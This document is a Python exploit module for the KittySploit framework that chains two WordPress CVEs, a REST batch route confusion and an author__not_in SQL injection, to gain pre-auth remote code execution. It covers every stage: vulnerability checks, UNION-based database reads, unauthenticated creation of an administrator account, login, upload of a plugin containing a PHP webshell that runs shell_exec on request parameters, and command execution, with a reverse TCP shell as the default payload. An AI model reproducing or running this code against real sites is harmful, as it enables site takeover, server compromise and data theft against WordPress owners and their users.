WordPress wp2shell RCE (CVE-2026-63030 + CVE-2026-60137)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-63030 + CVE-2026-60137 — WordPress wp2shell pre-auth RCE chain."""

from __future__ import annotations

import hashlib
import io
import json
import re
import secrets
import time
import urllib.parse
import uuid
import zipfile
from typing import Any, Dict, List, Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress
from lib.scanner.http.response_validation import is_html_response


class Module(Exploit, Http_client, Wordpress):
    __info__ = {
        "name": "WordPress wp2shell RCE (CVE-2026-63030 + CVE-2026-60137)",
        "description": (
            "Exploits CVE-2026-63030 (REST batch route confusion) chained with "
            "CVE-2026-60137 (WP_Query author__not_in SQLi) on WordPress 6.9.0-6.9.4 "
            "and 7.0.0-7.0.1: unauthenticated administrator creation, plugin upload, "
            "and command execution. Patched in 6.9.5 and 7.0.2."
        ),
        "author": ["KittySploit Team", "0xsha"],
        "cve": ["CVE-2026-63030", "CVE-2026-60137"],
        "references": [
            "https://github.com/0xsha/wp2shell",
            "https://nvd.nist.gov/vuln/detail/CVE-2026-63030",
            "https://nvd.nist.gov/vuln/detail/CVE-2026-60137",
            "https://wp2shell.com",
        ],
        "platform": Platform.PHP,
        "arch": [Arch.PHP],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "wordpress",
            "wp-core",
            "rest-api",
            "batch",
            "sqli",
            "rce",
            "pre-auth",
            "wp2shell",
            "cve-2026-63030",
            "cve-2026-60137",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 12,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "cost": 2.5,
            "noise": 0.8,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["wordpress"],
                "endpoint_pattern_any": ["/wp-json/batch/v1"],
                "param_any": ["author__not_in", "author_exclude"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "wp2shell admin creation chain"},
                    {"capability": "sqli", "from_detail": "CVE-2026-60137"},
                ],
                "suggested_followups": ["post/shell/multi/gather/privesc_suggester"],
            },
        },
    }

    cmd = OptString("id", "Command to run after webshell deployment", False)
    username = OptString("", "Existing admin username (skips pre-auth admin creation)", False)
    password = OptString("", "Existing admin password (used with USERNAME)", False)
    variant = OptString("posts", "Batch confusion carrier variant (posts|categories)", False, advanced=True)
    rest_route = OptBool(False, "Force /?rest_route=/batch/v1 instead of /wp-json/batch/v1", False, advanced=True)
    plugin_slug = OptString("", "Webshell plugin slug (random if empty)", False, advanced=True)

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(getattr(self, "path", "/"))

    @staticmethod
    def _batch_primer() -> dict:
        return {"method": "POST", "path": "///"}

    def _batch_path(self, use_rest_route: bool) -> str:
        root = self._wp_base().rstrip("/")
        if use_rest_route:
            return f"{root}/?rest_route=/batch/v1" if root else "/?rest_route=/batch/v1"
        return f"{root}/wp-json/batch/v1" if root else "/wp-json/batch/v1"

    def _resolve_batch_mode(self) -> bool:
        forced = bool(getattr(self, "rest_route", False))
        if forced:
            return True
        cached = getattr(self, "_batch_rest_route", None)
        if cached is not None:
            return cached
        for use_rr in (False, True):
            response = self._batch_post([], use_rest_route=use_rr, timeout=10)
            if response and int(response.status_code or 0) == 207:
                self._batch_rest_route = use_rr
                return use_rr
        self._batch_rest_route = False
        return False

    def _batch_post(self, requests: List[dict], *, use_rest_route: bool, timeout: int = 30):
        return self.http_request(
            method="POST",
            path=self._batch_path(use_rest_route),
            data=json.dumps({"requests": requests}),
            headers={"Content-Type": "application/json"},
            timeout=timeout,
        )

    @staticmethod
    def _walk_codes(value: Any, out: Optional[set] = None) -> set:
        if out is None:
            out = set()
        if isinstance(value, dict):
            code = value.get("code")
            if isinstance(code, str):
                out.add(code)
            for item in value.values():
                Module._walk_codes(item, out)
        elif isinstance(value, list):
            for item in value:
                Module._walk_codes(item, out)
        return out

    def _batch_json(self, response) -> Any:
        if not response:
            return None
        try:
            return response.json()
        except Exception:
            try:
                return json.loads(response.text or "")
            except Exception:
                return None

    def _inject_payload(self, author_not_in: str, use_rest_route: bool):
        encoded = urllib.parse.quote(author_not_in, safe="")
        if str(self.variant or "posts") == "categories":
            inner_requests = [
                self._batch_primer(),
                {"method": "GET", "path": f"/wp/v2/categories?author_exclude={encoded}"},
                {"method": "GET", "path": "/wp/v2/posts"},
            ]
            carrier = {
                "method": "POST",
                "path": "/wp/v2/categories",
                "body": {"name": f"x{secrets.token_hex(3)}", "requests": inner_requests},
            }
        else:
            inner = {"requests": [
                self._batch_primer(),
                {"method": "GET", "path": f"/wp/v2/users?author_exclude={encoded}"},
                {"method": "GET", "path": "/wp/v2/posts"},
            ]}
            carrier = {"method": "POST", "path": "/wp/v2/posts", "body": inner}
        return self._batch_post(
            [
                self._batch_primer(),
                carrier,
                {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
            ],
            use_rest_route=use_rest_route,
        )

    def _union_inject(self, author_not_in: str, use_rest_route: bool):
        query = urllib.parse.urlencode(
            {"author_exclude": author_not_in, "orderby": "none", "per_page": "500"}
        )
        inner = [
            self._batch_primer(),
            {"method": "GET", "path": f"/wp/v2/posts/999999?{query}"},
            {"method": "GET", "path": "/wp/v2/posts"},
        ]
        return self._batch_post(
            [
                self._batch_primer(),
                {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": inner}},
                {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
            ],
            use_rest_route=use_rest_route,
            timeout=45,
        )

    def _inject_rows(self, response) -> Optional[list]:
        try:
            payload = self._batch_json(response)
            inner = payload["responses"][1]["body"]
            result = inner["responses"][1]["body"]
        except (KeyError, IndexError, TypeError):
            return None
        return result if isinstance(result, list) else None

    def _sqli_true(self, condition: str, use_rest_route: bool) -> bool:
        return bool(self._inject_rows(self._inject_payload(f"0) AND ({condition})-- -", use_rest_route)))

    def _confusion_active(self, use_rest_route: bool) -> bool:
        response = self._batch_post(
            [
                self._batch_primer(),
                {"method": "POST", "path": "/wp/v2/posts"},
                {"method": "POST", "path": "/wp/v2/block-renderer/core/paragraph"},
                {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
            ],
            use_rest_route=use_rest_route,
        )
        payload = self._batch_json(response)
        return "block_cannot_read" in self._walk_codes(payload)

    def _union_available(self, use_rest_route: bool) -> bool:
        return self._union_read("SELECT 0x4f4b", use_rest_route) == "OK"

    def _union_read(self, expr: str, use_rest_route: bool) -> Optional[str]:
        response = self._union_inject(f"0) UNION SELECT {self._union_columns(expr)}-- -", use_rest_route)
        if not response:
            return None
        match = re.search(r"\|\|([0-9A-Fa-f]*)\|\|", response.text or "")
        if not match:
            return None
        digits = match.group(1)
        if len(digits) % 2:
            digits = digits[:-1]
        try:
            return bytes.fromhex(digits).decode("utf-8", "replace")
        except ValueError:
            return None

    def _union_columns(self, expr: str) -> str:
        publish = "0x7075626c697368"
        post_type = "0x706f7374"
        date_hex = "0x323032302d30312d30312030303a30303a3030"
        cols = []
        for index in range(1, 24):
            if index == 1:
                cols.append("999999")
            elif index in (3, 4, 15, 16):
                cols.append(date_hex)
            elif index == 6:
                cols.append(f"CONCAT(0x7c7c,HEX(CAST(({expr})AS CHAR)),0x7c7c)")
            elif index == 8:
                cols.append(publish)
            elif index == 21:
                cols.append(post_type)
            else:
                cols.append(str(index))
        return ",".join(cols)

    @staticmethod
    def _mysql_hex(text: str) -> str:
        return f"0x{text.encode().hex()}" if text else "''"

    def _wp_posts_tuple(
        self,
        row_id: int,
        *,
        body: str = "",
        title: str = "",
        status: str = "publish",
        slug: str = "",
        parent: int = 0,
        kind: str = "post",
        author: int = 1,
    ) -> str:
        post_date = "2020-01-01 00:00:00"
        cols = [
            str(row_id), str(author), self._mysql_hex(post_date), self._mysql_hex(post_date),
            self._mysql_hex(body), self._mysql_hex(title), "''", self._mysql_hex(status),
            self._mysql_hex("closed"), self._mysql_hex("closed"), "''", self._mysql_hex(slug), "''", "''",
            self._mysql_hex(post_date), self._mysql_hex(post_date), "''", str(parent), "''", "0",
            self._mysql_hex(kind), "''", "0",
        ]
        return ",".join(cols)

    def _rest_get(self, route: str, params: Optional[dict] = None):
        root = self._wp_base().rstrip("/")
        use_rr = self._resolve_batch_mode()
        if use_rr:
            query = {"rest_route": route}
            if params:
                query.update(params)
            path = f"{root}/?{urllib.parse.urlencode(query)}" if root else f"/?{urllib.parse.urlencode(query)}"
        else:
            query = urllib.parse.urlencode(params or {})
            suffix = f"?{query}" if query else ""
            path = f"{root}/wp-json{route}{suffix}" if root else f"/wp-json{route}{suffix}"
        return self.http_request(method="GET", path=path, timeout=int(self.timeout or 15))

    def _posts_table(self, use_rest_route: bool) -> str:
        table = self._union_read(
            "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() "
            "AND RIGHT(TABLE_NAME,6)=0x5f706f737473 ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1",
            use_rest_route,
        )
        if not table or not re.fullmatch(r"[A-Za-z0-9_$]+", table):
            raise RuntimeError("could not recover wp_posts table name")
        return table

    def _first_admin_id(self, prefix: str, use_rest_route: bool) -> int:
        cap = self._mysql_hex(prefix + "capabilities")
        ser = self._mysql_hex('s:13:"administrator";b:1;')
        admin_id = self._union_read(
            f"SELECT u.ID FROM `{prefix}users` u JOIN `{prefix}usermeta` m ON m.user_id=u.ID "
            f"WHERE m.meta_key={cap} AND INSTR(m.meta_value,{ser})>0 ORDER BY u.ID LIMIT 1",
            use_rest_route,
        )
        if not admin_id or not admin_id.strip().isdigit() or int(admin_id) < 1:
            raise RuntimeError("could not find an existing administrator ID")
        return int(admin_id)

    def _public_post_link(self) -> str:
        response = self._rest_get("/wp/v2/posts", {"per_page": "1", "_fields": "link"})
        if not response or int(response.status_code or 0) != 200:
            raise RuntimeError("could not query public posts")
        try:
            posts = response.json()
        except Exception:
            posts = json.loads(response.text or "[]")
        if isinstance(posts, list) and posts and posts[0].get("link"):
            return posts[0]["link"]
        raise RuntimeError("could not find a public post link (need ≥1 published post)")

    def _loopback_embed_urls(self, nonce: str) -> List[str]:
        link = self._public_post_link()
        parts = urllib.parse.urlsplit(link)
        return [
            urllib.parse.urlunsplit((parts.scheme, parts.netloc, parts.path, parts.query, f"{nonce}{index}"))
            for index in range(3)
        ]

    def _render_union_posts(self, rows: List[str], use_rest_route: bool, tail: Optional[List[dict]] = None):
        union = "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(rows) + " -- -"
        requests = [
            {"method": "GET", "path": "http://:"},
            {
                "method": "GET",
                "path": "/wp/v2/widgets?"
                + urllib.parse.urlencode(
                    {"author_exclude": union, "per_page": -1, "orderby": "none", "context": "view"}
                ),
            },
            {"method": "GET", "path": "/wp/v2/posts"},
        ]
        if tail:
            requests.extend(tail)
        response = self._batch_post(
            [
                {"method": "POST", "path": "http://:"},
                {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": requests}},
                {"method": "POST", "path": "/batch/v1"},
            ],
            use_rest_route=use_rest_route,
            timeout=60,
        )
        if not response or int(response.status_code or 0) >= 400:
            raise RuntimeError(f"union batch failed (HTTP {getattr(response, 'status_code', '?')})")

    def _oembed_backing_ids(self, posts_table: str, embeds: List[str], use_rest_route: bool) -> List[int]:
        ids = []
        for url in embeds:
            oembed_size = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
            cache = hashlib.md5((url + oembed_size).encode()).hexdigest()
            value = self._union_read(
                f"SELECT ID FROM `{posts_table}` WHERE post_type=0x6f656d6265645f6361636865 "
                f"AND post_name=0x{cache.encode().hex()} ORDER BY ID DESC LIMIT 1",
                use_rest_route,
            )
            if not value or not value.strip().isdigit():
                raise RuntimeError(f"could not recover oEmbed cache post ID for {url}")
            ids.append(int(value))
        if len(set(ids)) != 3:
            raise RuntimeError(f"expected three unique oEmbed cache IDs, got {ids}")
        return ids

    def _changeset_payload(self, nav_item_id: int, user_id: int) -> str:
        return json.dumps(
            {
                f"nav_menu_item[{nav_item_id}]": {
                    "type": "nav_menu_item",
                    "user_id": user_id,
                    "value": {
                        "object_id": 0,
                        "object": "",
                        "menu_item_parent": 0,
                        "position": 0,
                        "type": "custom",
                        "title": "generated",
                        "url": "https://example.invalid/",
                        "target": "",
                        "attr_title": "",
                        "description": "",
                        "classes": "",
                        "xfn": "",
                        "status": "publish",
                        "nav_menu_term_id": 0,
                        "_invalid": False,
                    },
                }
            },
            separators=(",", ":"),
        )

    def _create_admin(self) -> Tuple[str, str, str]:
        use_rr = self._resolve_batch_mode()
        if not self._union_available(use_rr):
            raise RuntimeError("UNION primitive unavailable (patched, filtered, or object cache active)")

        nonce = secrets.token_hex(6)
        embeds = self._loopback_embed_urls(nonce)
        seed = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embeds)
        self._render_union_posts([self._wp_posts_tuple(0, body=seed, title="seed", slug="seed")], use_rr)

        posts_table = self._posts_table(use_rr)
        prefix = posts_table[:-5]
        source_admin_id = self._first_admin_id(prefix, use_rr)
        backing = self._oembed_backing_ids(posts_table, embeds, use_rr)

        username = f"ks_{nonce}"
        password = f"Ks!{secrets.token_urlsafe(15)}"
        email = f"{username}@kittysploit.invalid"
        user_body = {"username": username, "password": password, "email": email, "roles": ["administrator"]}

        outer_id = 1800000000 + secrets.randbelow(100000000)
        nav_item_id = outer_id + 1
        inner_id = outer_id + 2
        changeset_id, cache_id, request_id = backing
        rows = [
            self._wp_posts_tuple(
                0,
                body=f'[embed width="500" height="750"]{embeds[1]}[/embed]',
                title="trigger",
                slug="trigger",
            ),
            self._wp_posts_tuple(
                changeset_id,
                body=self._changeset_payload(nav_item_id, source_admin_id),
                title="changeset",
                status="future",
                slug=str(uuid.uuid4()),
                parent=outer_id,
                kind="customize_changeset",
            ),
            self._wp_posts_tuple(outer_id, body="outer", title="outer", status="draft", slug="outer", parent=changeset_id),
            self._wp_posts_tuple(cache_id, title="cache", slug="cache", parent=changeset_id),
            self._wp_posts_tuple(nav_item_id, body="nav", title="nav", slug="nav", parent=request_id, kind="nav_menu_item"),
            self._wp_posts_tuple(request_id, body="parse", title="parse", status="parse", slug="parse", parent=inner_id, kind="request"),
            self._wp_posts_tuple(inner_id, body="inner", title="inner", status="draft", slug="inner", parent=request_id),
        ]
        self._render_union_posts(
            rows,
            use_rr,
            tail=[
                {"method": "POST", "path": "/wp/v2/users", "body": user_body},
                {"method": "POST", "path": "/wp/v2/users", "body": user_body},
            ],
        )
        return username, password, email

    def _detect_wp_version(self) -> Optional[Tuple[int, int, int]]:
        for path in (self.wp_json_index_path(self._wp_base()), f"{self._wp_base().rstrip('/')}/feed/"):
            response = self.http_request(method="GET", path=path, timeout=10)
            text = (response.text or "") if response else ""
            for pattern in (
                r'"generator":"[^"]*?(\d+\.\d+(?:\.\d+)?)"',
                r"[?&]v=(\d+\.\d+(?:\.\d+)?)",
                r'WordPress\s+(\d+\.\d+(?:\.\d+)?)',
            ):
                match = re.search(pattern, text, re.IGNORECASE)
                if match:
                    parts = [int(part) for part in match.group(1).split(".")[:3]]
                    while len(parts) < 3:
                        parts.append(0)
                    return tuple(parts[:3])
        return None

    def _chain_version_ok(self, version: Optional[Tuple[int, int, int]]) -> Optional[bool]:
        if not version:
            return None
        full_chain = frozenset((6, 9, n) for n in range(5)) | frozenset(((7, 0, 0), (7, 0, 1)))
        if version in full_chain:
            return True
        if self.wp_version_to_tuple(".".join(map(str, version))) >= self.wp_version_to_tuple("7.0.2"):
            return False
        return None

    def _plugin_upload_nonce(self, html: str) -> Optional[str]:
        match = re.search(
            r'action="[^"]*action=upload-plugin".*?name="_wpnonce"[^>]*value="([0-9a-f]+)"',
            html or "",
            re.S,
        )
        if match:
            return match.group(1)
        match = re.search(r'<input[^>]*name="_wpnonce"[^>]*value="([0-9a-f]+)"', html or "")
        return match.group(1) if match else None

    def _webshell_zip(self, slug: str, token: str) -> bytes:
        php_body = self._payload_php(token)
        buffer = io.BytesIO()
        with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as archive:
            archive.writestr(f"{slug}/{slug}.php", php_body)
        return buffer.getvalue()

    def _payload_php(self, token: str) -> str:
        header = (
            "<?php\n"
            "/*\nPlugin Name: KittySploit wp2shell\nDescription: CVE-2026-63030 PoC\n*/\n"
        )
        framework = self.payload
        if isinstance(framework, bytes):
            framework = framework.decode("utf-8", errors="replace")
        framework = str(framework or "").strip()
        if framework:
            body = framework[5:].lstrip() if framework.startswith("<?php") else framework
            return (
                header
                + f"if (hash_equals('{token}', (string)($_GET['t'] ?? ''))) {{\n"
                + body
                + "\n}\n"
            )
        return (
            header
            + f"if (hash_equals('{token}', (string)($_GET['t'] ?? '')) && isset($_GET['c'])) {{\n"
            + "    echo 'WP2SHELL::' . shell_exec((string)$_GET['c']) . '::END';\n"
            + "}\n"
        )

    def _admin_login(self, user: str, passwd: str) -> bool:
        login = f"{self._wp_base().rstrip('/')}/wp-login.php" if self._wp_base() != "/" else "/wp-login.php"
        self.http_request(method="GET", path=login, session=True, timeout=15)
        response = self.http_request(
            method="POST",
            path=login,
            data={
                "log": user,
                "pwd": passwd,
                "wp-submit": "Log In",
                "redirect_to": f"{self._wp_base().rstrip('/') or ''}/wp-admin/",
                "testcookie": "1",
            },
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
            timeout=15,
        )
        if not response or not getattr(response, "session", None):
            return False
        for cookie in response.session.cookies:
            if cookie.name.startswith("wordpress_logged_in"):
                return True
        return "wp-admin" in (response.url or "") or "dashboard" in (response.text or "").lower()

    def _deploy_webshell(self, slug: str, token: str) -> str:
        upload_page = "/wp-admin/plugin-install.php?tab=upload"
        response = self.http_request(method="GET", path=upload_page, session=True, timeout=20)
        html = (response.text or "") if response else ""
        nonce = self._plugin_upload_nonce(html)
        if not nonce:
            raise RuntimeError("plugin-upload nonce not found (login failed or insufficient privileges)")

        zip_bytes = self._webshell_zip(slug, token)
        files = {"pluginzip": (f"{slug}.zip", zip_bytes, "application/zip")}
        data = {
            "_wpnonce": nonce,
            "_wp_http_referer": upload_page,
            "install-plugin-submit": "Install Now",
        }
        self.http_request(
            method="POST",
            path="/wp-admin/update.php?action=upload-plugin",
            data=data,
            files=files,
            session=True,
            timeout=30,
        )
        return f"{self._wp_base().rstrip('/')}/wp-content/plugins/{slug}/{slug}.php"

    def _run_webshell(self, shell_path: str, token: str, command: str) -> Optional[str]:
        root = self._wp_base().rstrip("/")
        rel = shell_path.replace(root, "") if root and shell_path.startswith(root) else shell_path
        if not rel.startswith("/"):
            rel = "/" + rel.lstrip("/")
        query = urllib.parse.urlencode({"t": token, "c": command})
        response = self.http_request(method="GET", path=f"{rel}?{query}", timeout=20)
        if not response or is_html_response(response):
            return None
        text = response.text or ""
        match = re.search(r"WP2SHELL::(.*?)::END", text, re.S)
        return match.group(1).strip() if match else text.strip()

    def check(self):
        try:
            use_rr = self._resolve_batch_mode()
            probe = self._batch_post([], use_rest_route=use_rr, timeout=10)
        except Exception as exc:
            return {"vulnerable": False, "reason": f"target unreachable: {exc}", "confidence": "low"}

        if not probe or int(probe.status_code or 0) != 207:
            return {
                "vulnerable": False,
                "reason": "batch endpoint not reachable or not unauthenticated (expected HTTP 207)",
                "confidence": "medium",
            }

        version = self._detect_wp_version()
        version_hint = self._chain_version_ok(version)
        if version_hint is False:
            return {
                "vulnerable": False,
                "reason": f"WordPress {'.'.join(map(str, version))} patched for wp2shell",
                "confidence": "high",
            }

        confusion = self._confusion_active(use_rr)
        sqli = self._sqli_true("1=1", use_rr) and not self._sqli_true("1=0", use_rr)

        if confusion and sqli:
            return {
                "vulnerable": True,
                "reason": "CVE-2026-63030 route confusion + CVE-2026-60137 SQLi confirmed",
                "confidence": "high",
            }
        if confusion:
            return {
                "vulnerable": True,
                "reason": "CVE-2026-63030 route confusion confirmed; SQLi sink not reacting",
                "confidence": "medium",
            }
        if sqli:
            return {
                "vulnerable": True,
                "reason": "CVE-2026-60137 SQLi confirmed; confusion markers absent",
                "confidence": "medium",
            }
        if version_hint:
            return {
                "vulnerable": True,
                "reason": f"WordPress {'.'.join(map(str, version))} in vulnerable range; chain not proven active",
                "confidence": "medium",
            }
        return {
            "vulnerable": False,
            "reason": "wp2shell chain not confirmed (patched, filtered, or persistent object cache)",
            "confidence": "medium",
        }

    def run(self):
        try:
            print_status("CVE-2026-63030 + CVE-2026-60137 — WordPress wp2shell")

            result = self.check()
            if not result.get("vulnerable"):
                print_error(result.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False
            print_success(result.get("reason", "Target appears vulnerable"))

            user = str(self.username or "").strip()
            passwd = str(self.password or "").strip()
            if user and passwd:
                print_info(f"Using supplied credentials for {user!r}")
            else:
                print_status("Creating administrator via UNION/customizer chain...")
                user, passwd, email = self._create_admin()
                print_success(f"Administrator created: {user} / {passwd} ({email})")

            print_status(f"Authenticating as {user!r}...")
            if not self._admin_login(user, passwd):
                print_error("Admin login failed")
                return False
            print_success("Authenticated")

            slug = str(self.plugin_slug or "").strip() or f"ks_{secrets.token_hex(4)}"
            token = secrets.token_hex(16)
            print_status("Uploading webshell plugin...")
            shell_path = self._deploy_webshell(slug, token)
            print_success(f"Webshell deployed: {shell_path}")

            command = str(self.cmd or "id").strip()
            time.sleep(1.0)
            output = self._run_webshell(shell_path, token, command)
            if output is None and str(self.payload or "").strip():
                print_info("Framework payload deployed — verify listener for reverse_tcp callback")
            elif output:
                print_success(f"Command output ({command}):")
                print_info(output)
            else:
                print_warning("Webshell uploaded but command returned no output")

            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False